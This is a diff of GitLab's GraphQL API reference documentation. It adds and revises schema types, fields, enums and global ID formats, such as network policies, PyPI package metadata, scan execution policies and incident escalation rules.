+| <a id="projectincidentmanagementescalationpolicyid"></a>`id` | [`IncidentManagementEscalationPolicyID!`](#incidentmanagementescalationpolicyid) | ID of the escalation policy. |
+
##### `Project.incidentManagementOncallSchedules`
Incident Management On-call schedules of the project.
@@ -11454,6 +11729,22 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projectmilestonestimeframe"></a>`timeframe` | [`Timeframe`](#timeframe) | List items overlapping the given timeframe. |
| <a id="projectmilestonestitle"></a>`title` | [`String`](#string) | The title of the milestone. |
+##### `Project.networkPolicies`
+
+Network Policies of the project.
+
+Returns [`NetworkPolicyConnection`](#networkpolicyconnection).
+
+This field returns a [connection](#connections). It accepts the
+four standard [pagination arguments](#connection-pagination-arguments):
+`before: String`, `after: String`, `first: Int`, `last: Int`.
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="projectnetworkpoliciesenvironmentid"></a>`environmentId` | [`EnvironmentID`](#environmentid) | The global ID of the environment to filter policies. |
+
##### `Project.packages`
Packages of the project.
@@ -11616,8 +11907,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="projectservicesactive"></a>`active` | [`Boolean`](#boolean) | Indicates if the service is active. |
-| <a id="projectservicestype"></a>`type` | [`ServiceType`](#servicetype) | Class name of the service. |
+| <a id="projectservicesactive"></a>`active` | [`Boolean`](#boolean) | Indicates if the integration is active. |
+| <a id="projectservicestype"></a>`type` | [`ServiceType`](#servicetype) | Type of integration. |
##### `Project.snippets`
@@ -11699,9 +11990,12 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="projectvulnerabilityseveritiescounthasissues"></a>`hasIssues` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have issues. |
+| <a id="projectvulnerabilityseveritiescounthasresolution"></a>`hasResolution` | [`Boolean`](#boolean) | Filter vulnerabilities that do or do not have a resolution. |
| <a id="projectvulnerabilityseveritiescountprojectid"></a>`projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. |
| <a id="projectvulnerabilityseveritiescountreporttype"></a>`reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. |
| <a id="projectvulnerabilityseveritiescountscanner"></a>`scanner` | [`[String!]`](#string) | Filter vulnerabilities by scanner. |
+| <a id="projectvulnerabilityseveritiescountscannerid"></a>`scannerId` | [`[VulnerabilitiesScannerID!]`](#vulnerabilitiesscannerid) | Filter vulnerabilities by scanner ID. |
| <a id="projectvulnerabilityseveritiescountseverity"></a>`severity` | [`[VulnerabilitySeverity!]`](#vulnerabilityseverity) | Filter vulnerabilities by severity. |
| <a id="projectvulnerabilityseveritiescountstate"></a>`state` | [`[VulnerabilityState!]`](#vulnerabilitystate) | Filter vulnerabilities by state. |
@@ -11711,6 +12005,7 @@ Returns [`VulnerabilitySeveritiesCount`](#vulnerabilityseveritiescount).
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="projectcicdsettingjobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI job tokens generated in this project have restricted access to resources. |
| <a id="projectcicdsettingkeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Whether to keep the latest builds artifacts. |
| <a id="projectcicdsettingmergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Whether merge pipelines are enabled. |
| <a id="projectcicdsettingmergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Whether merge trains are enabled. |
@@ -11731,7 +12026,7 @@ Represents a Project Membership.
| <a id="projectmemberid"></a>`id` | [`ID!`](#id) | ID of the member. |
| <a id="projectmemberproject"></a>`project` | [`Project`](#project) | Project that User is a member of. |
| <a id="projectmemberupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
-| <a id="projectmemberuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. |
+| <a id="projectmemberuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. |
| <a id="projectmemberuserpermissions"></a>`userPermissions` | [`ProjectPermissions!`](#projectpermissions) | Permissions for the current user on the resource. |
### `ProjectPermissions`
@@ -11821,6 +12116,17 @@ Represents rules that commit pushes must follow.
| ---- | ---- | ----------- |
| <a id="pushrulesrejectunsignedcommits"></a>`rejectUnsignedCommits` | [`Boolean!`](#boolean) | Indicates whether commits not signed through GPG will be rejected. |
+### `PypiMetadata`
+
+Pypi metadata.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="pypimetadataid"></a>`id` | [`PackagesPypiMetadatumID!`](#packagespypimetadatumid) | ID of the metadatum. |
+| <a id="pypimetadatarequiredpython"></a>`requiredPython` | [`String`](#string) | Required Python version of the Pypi package. |
+
### `RecentFailures`
Recent failure history of a test case.
@@ -12091,18 +12397,6 @@ Counts of requirements by their state.
| <a id="rootstoragestatisticsuploadssize"></a>`uploadsSize` | [`Float!`](#float) | The uploads size in bytes. |
| <a id="rootstoragestatisticswikisize"></a>`wikiSize` | [`Float!`](#float) | The wiki size in bytes. |
-### `RunDASTScanPayload`
-
-Autogenerated return type of RunDASTScan.
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="rundastscanpayloadclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="rundastscanpayloaderrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="rundastscanpayloadpipelineurl"></a>`pipelineUrl` | [`String`](#string) | URL of the pipeline that was created. |
-
### `RunnerArchitecture`
#### Fields
@@ -12196,6 +12490,20 @@ Represents the security scan information.
| <a id="scanerrors"></a>`errors` | [`[String!]!`](#string) | List of errors. |
| <a id="scanname"></a>`name` | [`String!`](#string) | Name of the scan. |
+### `ScanExecutionPolicy`
+
+Represents the scan execution policy.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="scanexecutionpolicydescription"></a>`description` | [`String!`](#string) | Description of the policy. |
+| <a id="scanexecutionpolicyenabled"></a>`enabled` | [`Boolean!`](#boolean) | Indicates whether this policy is enabled. |
+| <a id="scanexecutionpolicyname"></a>`name` | [`String!`](#string) | Name of the policy. |
+| <a id="scanexecutionpolicyupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the policy YAML was last updated. |
+| <a id="scanexecutionpolicyyaml"></a>`yaml` | [`String!`](#string) | YAML definition of the policy. |
+
### `ScannedResource`
Represents a resource scanned by a security scan.
@@ -12431,7 +12739,6 @@ Represents a snippet entry.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="snippetauthor"></a>`author` | [`UserCore`](#usercore) | The owner of the snippet. |
-| <a id="snippetblob"></a>`blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated** in 13.3. Use `blobs`. |
| <a id="snippetcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp this snippet was created. |
| <a id="snippetdescription"></a>`description` | [`String`](#string) | Description of the snippet. |
| <a id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
@@ -13049,18 +13356,6 @@ Represents the count of vulnerabilities by severity on a particular day. This da
| <a id="vulnerabilitiescountbydaytotal"></a>`total` | [`Int!`](#int) | Total number of vulnerabilities on a particular day. |
| <a id="vulnerabilitiescountbydayunknown"></a>`unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity. |
-### `VulnerabilitiesCountByDayAndSeverity`
-
-Represents the number of vulnerabilities for a particular severity on a particular day. This data is retained for 365 days.
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="vulnerabilitiescountbydayandseveritycount"></a>`count` | [`Int`](#int) | Number of vulnerabilities. |
-| <a id="vulnerabilitiescountbydayandseverityday"></a>`day` | [`ISO8601Date`](#iso8601date) | Date for the count. |
-| <a id="vulnerabilitiescountbydayandseverityseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the counted vulnerabilities. |
-
### `Vulnerability`
Represents a vulnerability.
@@ -13537,10 +13832,10 @@ Values for sorting alerts.
| <a id="alertmanagementalertsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
| <a id="alertmanagementalertsortupdated_time_asc"></a>`UPDATED_TIME_ASC` | Created time by ascending order. |
| <a id="alertmanagementalertsortupdated_time_desc"></a>`UPDATED_TIME_DESC` | Created time by descending order. |
-| <a id="alertmanagementalertsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
-| <a id="alertmanagementalertsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
-| <a id="alertmanagementalertsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
-| <a id="alertmanagementalertsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+| <a id="alertmanagementalertsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="alertmanagementalertsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="alertmanagementalertsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="alertmanagementalertsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
### `AlertManagementDomainFilter`
@@ -13699,7 +13994,9 @@ Values for sorting runners.
| Value | Description |
| ----- | ----------- |
| <a id="cirunnersortcontacted_asc"></a>`CONTACTED_ASC` | Ordered by contacted_at in ascending order. |
-| <a id="cirunnersortcreated_desc"></a>`CREATED_DESC` | Ordered by created_date in descending order. |
+| <a id="cirunnersortcontacted_desc"></a>`CONTACTED_DESC` | Ordered by contacted_at in descending order. |
+| <a id="cirunnersortcreated_asc"></a>`CREATED_ASC` | Ordered by created_at in ascending order. |
+| <a id="cirunnersortcreated_desc"></a>`CREATED_DESC` | Ordered by created_at in descending order. |
### `CiRunnerStatus`
@@ -13810,10 +14107,10 @@ Values for sorting container repositories.
| <a id="containerrepositorysortname_desc"></a>`NAME_DESC` | Name by descending order. |
| <a id="containerrepositorysortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
| <a id="containerrepositorysortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
-| <a id="containerrepositorysortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
-| <a id="containerrepositorysortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
-| <a id="containerrepositorysortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
-| <a id="containerrepositorysortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+| <a id="containerrepositorysortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="containerrepositorysortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="containerrepositorysortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="containerrepositorysortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
### `ContainerRepositoryStatus`
@@ -13935,10 +14232,10 @@ Roadmap sort values.
| <a id="epicsortend_date_desc"></a>`END_DATE_DESC` | Sort by end date in descending order. |
| <a id="epicsortstart_date_asc"></a>`START_DATE_ASC` | Sort by start date in ascending order. |
| <a id="epicsortstart_date_desc"></a>`START_DATE_DESC` | Sort by start date in descending order. |
-| <a id="epicsortend_date_asc"></a>`end_date_asc` **{warning-solid}** | **Deprecated:** Use END_DATE_ASC. Deprecated in 13.11. |
-| <a id="epicsortend_date_desc"></a>`end_date_desc` **{warning-solid}** | **Deprecated:** Use END_DATE_DESC. Deprecated in 13.11. |
-| <a id="epicsortstart_date_asc"></a>`start_date_asc` **{warning-solid}** | **Deprecated:** Use START_DATE_ASC. Deprecated in 13.11. |
-| <a id="epicsortstart_date_desc"></a>`start_date_desc` **{warning-solid}** | **Deprecated:** Use START_DATE_DESC. Deprecated in 13.11. |
+| <a id="epicsortend_date_asc"></a>`end_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_ASC. |
+| <a id="epicsortend_date_desc"></a>`end_date_desc` **{warning-solid}** | **Deprecated** in 13.11. Use END_DATE_DESC. |
+| <a id="epicsortstart_date_asc"></a>`start_date_asc` **{warning-solid}** | **Deprecated** in 13.11. Use START_DATE_ASC. |
+| <a id="epicsortstart_date_desc"></a>`start_date_desc` **{warning-solid}** | **Deprecated** in 13.11. Use START_DATE_DESC. |
### `EpicState`
@@ -13968,6 +14265,15 @@ Epic ID wildcard values.
| <a id="epicwildcardidany"></a>`ANY` | Any epic is assigned. |
| <a id="epicwildcardidnone"></a>`NONE` | No epic is assigned. |
+### `EscalationRuleStatus`
+
+Escalation rule statuses.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="escalationrulestatusacknowledged"></a>`ACKNOWLEDGED` | . |
+| <a id="escalationrulestatusresolved"></a>`RESOLVED` | . |
+
### `EventAction`
Event action.
@@ -14058,10 +14364,10 @@ Values for sorting issues.
| <a id="issuesortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
| <a id="issuesortweight_asc"></a>`WEIGHT_ASC` | Weight by ascending order. |
| <a id="issuesortweight_desc"></a>`WEIGHT_DESC` | Weight by descending order. |
-| <a id="issuesortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
-| <a id="issuesortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
-| <a id="issuesortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
-| <a id="issuesortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+| <a id="issuesortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="issuesortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="issuesortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="issuesortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
### `IssueState`
@@ -14133,7 +14439,6 @@ Iteration ID wildcard values.
| <a id="jobartifactfiletypedependency_scanning"></a>`DEPENDENCY_SCANNING` | DEPENDENCY SCANNING job artifact file type. |
| <a id="jobartifactfiletypedotenv"></a>`DOTENV` | DOTENV job artifact file type. |
| <a id="jobartifactfiletypejunit"></a>`JUNIT` | JUNIT job artifact file type. |
-| <a id="jobartifactfiletypelicense_management"></a>`LICENSE_MANAGEMENT` | LICENSE MANAGEMENT job artifact file type. |
| <a id="jobartifactfiletypelicense_scanning"></a>`LICENSE_SCANNING` | LICENSE SCANNING job artifact file type. |
| <a id="jobartifactfiletypeload_performance"></a>`LOAD_PERFORMANCE` | LOAD PERFORMANCE job artifact file type. |
| <a id="jobartifactfiletypelsif"></a>`LSIF` | LSIF job artifact file type. |
@@ -14211,10 +14516,10 @@ Values for sorting merge requests.
| <a id="mergerequestsortpriority_desc"></a>`PRIORITY_DESC` | Priority by descending order. |
| <a id="mergerequestsortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
| <a id="mergerequestsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
-| <a id="mergerequestsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
-| <a id="mergerequestsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
-| <a id="mergerequestsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
-| <a id="mergerequestsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+| <a id="mergerequestsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="mergerequestsortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="mergerequestsortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="mergerequestsortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
### `MergeRequestState`
@@ -14228,6 +14533,18 @@ State of a GitLab merge request.
| <a id="mergerequeststatemerged"></a>`merged` | Merge request has been merged. |
| <a id="mergerequeststateopened"></a>`opened` | In open state. |
+### `MergeStatus`
+
+Representation of whether a GitLab merge request can be merged.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="mergestatuscannot_be_merged"></a>`CANNOT_BE_MERGED` | There are conflicts between the source and target branches. |
+| <a id="mergestatuscannot_be_merged_recheck"></a>`CANNOT_BE_MERGED_RECHECK` | Currently unchecked. The previous state was `CANNOT_BE_MERGED`. |
+| <a id="mergestatuscan_be_merged"></a>`CAN_BE_MERGED` | There are no conflicts between the source and target branches. |
+| <a id="mergestatuschecking"></a>`CHECKING` | Currently checking for mergeability. |
+| <a id="mergestatusunchecked"></a>`UNCHECKED` | Merge status has not been checked. |
+
### `MergeStrategyEnum`
| Value | Description |
@@ -14301,6 +14618,8 @@ Values for sorting group packages.
| <a id="packagegroupsortcreated_desc"></a>`CREATED_DESC` | Ordered by created_at in descending order. |
| <a id="packagegroupsortname_asc"></a>`NAME_ASC` | Ordered by name in ascending order. |
| <a id="packagegroupsortname_desc"></a>`NAME_DESC` | Ordered by name in descending order. |
+| <a id="packagegroupsortproject_path_asc"></a>`PROJECT_PATH_ASC` | Ordered by project path in ascending order. |
+| <a id="packagegroupsortproject_path_desc"></a>`PROJECT_PATH_DESC` | Ordered by project path in descending order. |
| <a id="packagegroupsorttype_asc"></a>`TYPE_ASC` | Ordered by type in ascending order. |
| <a id="packagegroupsorttype_desc"></a>`TYPE_DESC` | Ordered by type in descending order. |
| <a id="packagegroupsortversion_asc"></a>`VERSION_ASC` | Ordered by version in ascending order. |
@@ -14533,10 +14852,10 @@ Type of a snippet blob input action.
| Value | Description |
| ----- | ----------- |
-| <a id="snippetblobactionenumcreate"></a>`create` | |
-| <a id="snippetblobactionenumdelete"></a>`delete` | |
-| <a id="snippetblobactionenummove"></a>`move` | |
-| <a id="snippetblobactionenumupdate"></a>`update` | |
+| <a id="snippetblobactionenumcreate"></a>`create` | Create a snippet blob. |
+| <a id="snippetblobactionenumdelete"></a>`delete` | Delete a snippet blob. |
+| <a id="snippetblobactionenummove"></a>`move` | Move a snippet blob. |
+| <a id="snippetblobactionenumupdate"></a>`update` | Update a snippet blob. |
### `Sort`
@@ -14548,10 +14867,10 @@ Common sort values.
| <a id="sortcreated_desc"></a>`CREATED_DESC` | Created at descending order. |
| <a id="sortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
| <a id="sortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
-| <a id="sortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
-| <a id="sortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
-| <a id="sortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
-| <a id="sortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+| <a id="sortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
+| <a id="sortcreated_desc"></a>`created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. |
+| <a id="sortupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
+| <a id="sortupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
### `TestCaseStatus`
@@ -14618,7 +14937,6 @@ Name of the feature that the callout is for.
| ----- | ----------- |
| <a id="usercalloutfeaturenameenumaccount_recovery_regular_check"></a>`ACCOUNT_RECOVERY_REGULAR_CHECK` | Callout feature name for account_recovery_regular_check. |
| <a id="usercalloutfeaturenameenumactive_user_count_threshold"></a>`ACTIVE_USER_COUNT_THRESHOLD` | Callout feature name for active_user_count_threshold. |
-| <a id="usercalloutfeaturenameenumadmin_integrations_moved"></a>`ADMIN_INTEGRATIONS_MOVED` | Callout feature name for admin_integrations_moved. |
| <a id="usercalloutfeaturenameenumbuy_pipeline_minutes_notification_dot"></a>`BUY_PIPELINE_MINUTES_NOTIFICATION_DOT` | Callout feature name for buy_pipeline_minutes_notification_dot. |
| <a id="usercalloutfeaturenameenumcanary_deployment"></a>`CANARY_DEPLOYMENT` | Callout feature name for canary_deployment. |
| <a id="usercalloutfeaturenameenumcluster_security_warning"></a>`CLUSTER_SECURITY_WARNING` | Callout feature name for cluster_security_warning. |
@@ -14635,6 +14953,7 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumpipeline_needs_banner"></a>`PIPELINE_NEEDS_BANNER` | Callout feature name for pipeline_needs_banner. |
| <a id="usercalloutfeaturenameenumpipeline_needs_hover_tip"></a>`PIPELINE_NEEDS_HOVER_TIP` | Callout feature name for pipeline_needs_hover_tip. |
| <a id="usercalloutfeaturenameenumregistration_enabled_callout"></a>`REGISTRATION_ENABLED_CALLOUT` | Callout feature name for registration_enabled_callout. |
+| <a id="usercalloutfeaturenameenumsecurity_configuration_upgrade_banner"></a>`SECURITY_CONFIGURATION_UPGRADE_BANNER` | Callout feature name for security_configuration_upgrade_banner. |
| <a id="usercalloutfeaturenameenumservice_templates_deprecated_callout"></a>`SERVICE_TEMPLATES_DEPRECATED_CALLOUT` | Callout feature name for service_templates_deprecated_callout. |
| <a id="usercalloutfeaturenameenumsuggest_pipeline"></a>`SUGGEST_PIPELINE` | Callout feature name for suggest_pipeline. |
| <a id="usercalloutfeaturenameenumsuggest_popover_dismissed"></a>`SUGGEST_POPOVER_DISMISSED` | Callout feature name for suggest_popover_dismissed. |
@@ -14642,7 +14961,6 @@ Name of the feature that the callout is for.
| <a id="usercalloutfeaturenameenumthreat_monitoring_info"></a>`THREAT_MONITORING_INFO` | Callout feature name for threat_monitoring_info. |
| <a id="usercalloutfeaturenameenumultimate_trial"></a>`ULTIMATE_TRIAL` | Callout feature name for ultimate_trial. |
| <a id="usercalloutfeaturenameenumunfinished_tag_cleanup_callout"></a>`UNFINISHED_TAG_CLEANUP_CALLOUT` | Callout feature name for unfinished_tag_cleanup_callout. |
-| <a id="usercalloutfeaturenameenumwebhooks_moved"></a>`WEBHOOKS_MOVED` | Callout feature name for webhooks_moved. |
| <a id="usercalloutfeaturenameenumweb_ide_alert_dismissed"></a>`WEB_IDE_ALERT_DISMISSED` | Callout feature name for web_ide_alert_dismissed. |
| <a id="usercalloutfeaturenameenumweb_ide_ci_environments_guidance"></a>`WEB_IDE_CI_ENVIRONMENTS_GUIDANCE` | Callout feature name for web_ide_ci_environments_guidance. |
@@ -14668,9 +14986,9 @@ Possible states of a user.
| Value | Description |
| ----- | ----------- |
-| <a id="visibilityscopesenuminternal"></a>`internal` | |
-| <a id="visibilityscopesenumprivate"></a>`private` | |
-| <a id="visibilityscopesenumpublic"></a>`public` | |
+| <a id="visibilityscopesenuminternal"></a>`internal` | The snippet is visible for any logged in user except external users. |
+| <a id="visibilityscopesenumprivate"></a>`private` | The snippet is visible only to the snippet creator. |
+| <a id="visibilityscopesenumpublic"></a>`public` | The snippet can be accessed without any authentication. |
### `VulnerabilityDismissalReason`
@@ -14802,11 +15120,11 @@ A `AlertManagementHttpIntegrationID` is a global ID. It is encoded as a string.
An example `AlertManagementHttpIntegrationID` is: `"gid://gitlab/AlertManagement::HttpIntegration/1"`.
-### `AnalyticsDevopsAdoptionSegmentID`
+### `AnalyticsDevopsAdoptionEnabledNamespaceID`
-A `AnalyticsDevopsAdoptionSegmentID` is a global ID. It is encoded as a string.
+A `AnalyticsDevopsAdoptionEnabledNamespaceID` is a global ID. It is encoded as a string.
-An example `AnalyticsDevopsAdoptionSegmentID` is: `"gid://gitlab/Analytics::DevopsAdoption::Segment/1"`.
+An example `AnalyticsDevopsAdoptionEnabledNamespaceID` is: `"gid://gitlab/Analytics::DevopsAdoption::EnabledNamespace/1"`.
### `AwardableID`
@@ -15015,6 +15333,18 @@ Represents a unique identifier that is Base64 obfuscated. It is often used to re
An ISO 8601-encoded date.
+### `IncidentManagementEscalationPolicyID`
+
+A `IncidentManagementEscalationPolicyID` is a global ID. It is encoded as a string.
+
+An example `IncidentManagementEscalationPolicyID` is: `"gid://gitlab/IncidentManagement::EscalationPolicy/1"`.
+
+### `IncidentManagementEscalationRuleID`
+
+A `IncidentManagementEscalationRuleID` is a global ID. It is encoded as a string.
+
+An example `IncidentManagementEscalationRuleID` is: `"gid://gitlab/IncidentManagement::EscalationRule/1"`.
+
### `IncidentManagementOncallParticipantID`
A `IncidentManagementOncallParticipantID` is a global ID. It is encoded as a string.
@@ -15048,6 +15378,7 @@ An example `IssueID` is: `"gid://gitlab/Issue/1"`.
A `IterationID` is a global ID. It is encoded as a string.
An example `IterationID` is: `"gid://gitlab/Iteration/1"`.
+The older format `"gid://gitlab/EEIteration/1"` was deprecated in 13.3.
### `IterationsCadenceID`
@@ -15153,6 +15484,12 @@ A `PackagesPackageID` is a global ID. It is encoded as a string.
An example `PackagesPackageID` is: `"gid://gitlab/Packages::Package/1"`.
+### `PackagesPypiMetadatumID`
+
+A `PackagesPypiMetadatumID` is a global ID. It is encoded as a string.
+
+An example `PackagesPypiMetadatumID` is: `"gid://gitlab/Packages::Pypi::Metadatum/1"`.
+
### `PathLockID`
A `PathLockID` is a global ID. It is encoded as a string.
@@ -15284,6 +15621,7 @@ One of:
- [`ConanMetadata`](#conanmetadata)
- [`MavenMetadata`](#mavenmetadata)
- [`NugetMetadata`](#nugetmetadata)
+- [`PypiMetadata`](#pypimetadata)
#### `VulnerabilityDetail`
@@ -15439,7 +15777,7 @@ Implementations:
| <a id="memberinterfaceexpiresat"></a>`expiresAt` | [`Time`](#time) | Date and time the membership expires. |
| <a id="memberinterfaceid"></a>`id` | [`ID!`](#id) | ID of the member. |
| <a id="memberinterfaceupdatedat"></a>`updatedAt` | [`Time`](#time) | Date and time the membership was last updated. |
-| <a id="memberinterfaceuser"></a>`user` | [`UserCore!`](#usercore) | User that is associated with the member object. |
+| <a id="memberinterfaceuser"></a>`user` | [`UserCore`](#usercore) | User that is associated with the member object. |
#### `Noteable`
@@ -15843,6 +16181,18 @@ A node of an epic tree.
| <a id="epictreenodefieldsinputtypenewparentid"></a>`newParentId` | [`EpicID`](#epicid) | ID of the new parent epic. |
| <a id="epictreenodefieldsinputtyperelativeposition"></a>`relativePosition` | [`MoveType`](#movetype) | The type of the switch, after or before allowed. |
+### `EscalationRuleInput`
+
+Represents an escalation rule.
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="escalationruleinputelapsedtimeseconds"></a>`elapsedTimeSeconds` | [`Int!`](#int) | The time in seconds before the rule is activated. |
+| <a id="escalationruleinputoncallscheduleiid"></a>`oncallScheduleIid` | [`ID!`](#id) | The on-call schedule to notify. |
+| <a id="escalationruleinputstatus"></a>`status` | [`EscalationRuleStatus!`](#escalationrulestatus) | The status required to prevent the rule from activating. |
+
### `JiraUsersMappingInputType`
#### Arguments
@@ -15890,6 +16240,16 @@ A node of an epic tree.
| <a id="negatedepicboardissueinputlabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. |
| <a id="negatedepicboardissueinputmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+### `NegatedEpicFilterInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
